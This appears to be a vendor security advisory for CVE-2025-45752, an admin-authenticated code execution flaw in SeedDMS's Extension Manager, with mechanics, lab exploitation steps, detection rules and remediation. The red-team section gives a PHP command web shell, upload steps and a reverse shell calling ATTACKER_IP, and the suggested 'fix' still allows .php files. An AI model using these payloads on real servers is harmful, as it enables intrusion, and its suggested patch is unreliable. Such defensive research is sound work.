CVE-2025-45752

Executive Summary

CVE-2025-45752 is a critical vulnerability in SeedDMS 6.0.32 that allows an authenticated attacker with admin privileges to execute arbitrary PHP code on the server. The flaw resides in the Extension Manager's zip import functionality, which fails to properly validate or sanitize uploaded archive files. By crafting a malicious zip archive containing a PHP web shell, an attacker can achieve remote code execution (RCE) with the privileges of the web server process. This vulnerability is particularly dangerous because it targets the core document management system, potentially exposing sensitive documents and providing a foothold for lateral movement within the network. No public proof-of-concept or patch is currently available.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required beyond admin access.
• Privileges Required (PR): High (H) – Admin privileges are required.
• User Interaction (UI): None (N) – No user interaction is needed beyond the attacker's actions.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full file system access is possible.
• Integrity (I): High (H) – Arbitrary code execution allows modification of data and system files.
• Availability (A): High (H) – An attacker could disrupt the service or delete files.

Estimated CVSS Score: 7.2 (High)

Threat Level: High. The requirement for admin privileges reduces the attack surface, but once obtained, the impact is severe.

Deep Dive & Mechanics

The vulnerability exists in the ExtensionManager class, specifically within the method responsible for handling zip file uploads for extension installation. The core issue is a lack of validation on the contents of the uploaded zip archive.

Normal Operation:

1. An admin navigates to the Extension Manager.
2. They upload a legitimate .zip file containing a properly structured SeedDMS extension (e.g., with a manifest.xml and PHP files).
3. The system extracts the archive into the extensions directory.
4. The extension is registered and activated.

Exploitation Mechanics:

1. An attacker crafts a zip archive that contains a malicious PHP file (e.g., shell.php).
2. The attacker uploads this archive via the Extension Manager.
3. The system extracts the archive without checking if the files are legitimate extension components.
4. The malicious PHP file is placed in the web-accessible extensions directory.
5. The attacker accesses the uploaded PHP file directly via a web request (e.g., https://target.com/seeddms/ext/shell.php).
6. The PHP code executes, granting the attacker a web shell or allowing arbitrary command execution.

The vulnerability is a classic case of Unrestricted Upload of File with Dangerous Type (CWE-434). The application trusts the admin user and the zip file contents without performing any checks on file extensions, MIME types, or content signatures.

Vulnerable vs. Patched Code

Since no patch is available, this section describes the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual):

// In ExtensionManager.php
public function installExtension($zipFile) {
    $zip = new ZipArchive();
    if ($zip->open($zipFile) === TRUE) {
        $zip->extractTo($this->extensionsDir);
        $zip->close();
        // No validation of extracted files
        return true;
    }
    return false;
}

Patched Code (Expected Fix):

// In ExtensionManager.php
public function installExtension($zipFile) {
    $zip = new ZipArchive();
    if ($zip->open($zipFile) === TRUE) {
        $allowedExtensions = ['php', 'xml', 'js', 'css', 'png', 'jpg', 'gif'];
        for ($i = 0; $i < $zip->numFiles; $i++) {
            $filename = $zip->getNameIndex($i);
            $ext = pathinfo($filename, PATHINFO_EXTENSION);
            if (!in_array($ext, $allowedExtensions)) {
                $zip->close();
                throw new Exception("Disallowed file type: $ext");
            }
            // Additionally, check for a valid manifest.xml
        }
        $zip->extractTo($this->extensionsDir);
        $zip->close();
        return true;
    }
    return false;
}

The fix should include:

1. File Extension Whitelisting: Only allow specific, safe file extensions.
2. Manifest Validation: Require a valid manifest.xml file at the root of the archive.
3. Content Type Verification: Check the MIME type of extracted files.
4. Sandboxing: Extract to a temporary directory first, then move only validated files.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install SeedDMS 6.0.32 on a local VM (e.g., using XAMPP or Docker).
2. Create an admin account.
3. Log in as admin.

Exploitation Steps:

1. Create a malicious PHP file (e.g., cmd.php):

   <?php
   system($_GET['cmd']);
   ?>
   

2. Create a zip archive containing only this file:

   zip exploit.zip cmd.php
   

3. Navigate to the Extension Manager (e.g., http://target/seeddms/out/out.ExtensionMgr.php).
4. Upload exploit.zip using the "Upload Extension" form.
5. Access the uploaded shell:

   http://target/seeddms/ext/cmd.php?cmd=id
   

6. Execute commands:

   http://target/seeddms/ext/cmd.php?cmd=whoami
   http://target/seeddms/ext/cmd.php?cmd=ls%20-la%20/var/www/html
   

Advanced Payload (Reverse Shell):

<?php
$sock=fsockopen("ATTACKER_IP",4444);
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual zip file uploads to the Extension Manager endpoint.
2. Check the ext/ directory for unexpected PHP files.
3. Review web server access logs for requests to ext/*.php that are not part of known extensions.
4. Look for processes spawned by the web server user (e.g., www-data) that are unusual (e.g., id, whoami, nc).

Hunting Query (Splunk):

index=web sourcetype=access_combined
uri_path="/seeddms/ext/*.php"
| stats count by src_ip, uri_path, status
| where count > 5

Indicators of Compromise (IOCs)

File-Based IOCs:

• Unexpected .php files in the ext/ directory (e.g., cmd.php, shell.php, backdoor.php).
• Zip archives with unusual names or containing only a single PHP file.
• Modified manifest.xml files in legitimate extensions.

Network IOCs:

• Outbound connections from the web server to unknown IP addresses on ports 80, 443, or 4444.
• HTTP requests to ext/*.php with query parameters like cmd, exec, or system.
• Unusual User-Agent strings in requests to the Extension Manager.

Log IOCs:

• Web server logs showing POST requests to out.ExtensionMgr.php followed by GET requests to ext/*.php.
• PHP error logs showing system(), exec(), or shell_exec() calls.
• System logs showing unexpected process execution by the web server user.

Detection Engineering

YARA Rule

rule CVE_2025_45752_SeedDMS_Webshell {
    meta:
        description = "Detects PHP webshells uploaded via SeedDMS Extension Manager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45752"
        hash = "d41d8cd98f00b204e9800998ecf8427e"

    strings:
        $php_tag = "<?php"
        $system_func = /system\s*\(/
        $exec_func = /exec\s*\(/
        $shell_exec = /shell_exec\s*\(/
        $passthru = /passthru\s*\(/
        $backtick = /`.*`/
        $fsockopen = "fsockopen"
        $proc_open = "proc_open"

    condition:
        $php_tag and (
            $system_func or
            $exec_func or
            $shell_exec or
            $passthru or
            $backtick or
            $fsockopen or
            $proc_open
        ) and filesize < 10KB
}

Sigma Rule

title: SeedDMS Extension Manager Webshell Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential webshell upload via SeedDMS Extension Manager
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-45752
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: 'out.ExtensionMgr.php'
    filter:
        c-uri|endswith: '.zip'
    condition: selection and not filter
falsepositives:
    - Legitimate extension uploads by admins
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-45752 SeedDMS Extension Manager Webshell Upload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"out.ExtensionMgr.php"; http_uri;
    content:".zip"; http_client_body;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2025-45752;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Extension Manager: If not required, remove or disable the Extension Manager functionality.
2. Restrict Access: Use .htaccess or web server configuration to restrict access to the ext/ directory to only known admin IP addresses.
3. File Integrity Monitoring: Implement FIM on the ext/ directory to alert on new or modified PHP files.

Long-Term Fixes:

1. Apply Patch: Monitor the SeedDMS project for an official patch and apply it immediately.
2. Upgrade: Upgrade to a patched version of SeedDMS when available.
3. Code Review: Conduct a security code review of the Extension Manager and other upload functionalities.
4. Input Validation: Implement strict file type validation, content verification, and sandboxed extraction for all uploaded archives.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with rules to block PHP file uploads via the Extension Manager.
• Use a reverse proxy to inspect and sanitize uploaded files.
• Implement runtime application self-protection (RASP) to detect and block code execution attempts.

Valters IT
Securing Digital Assets Through Intelligence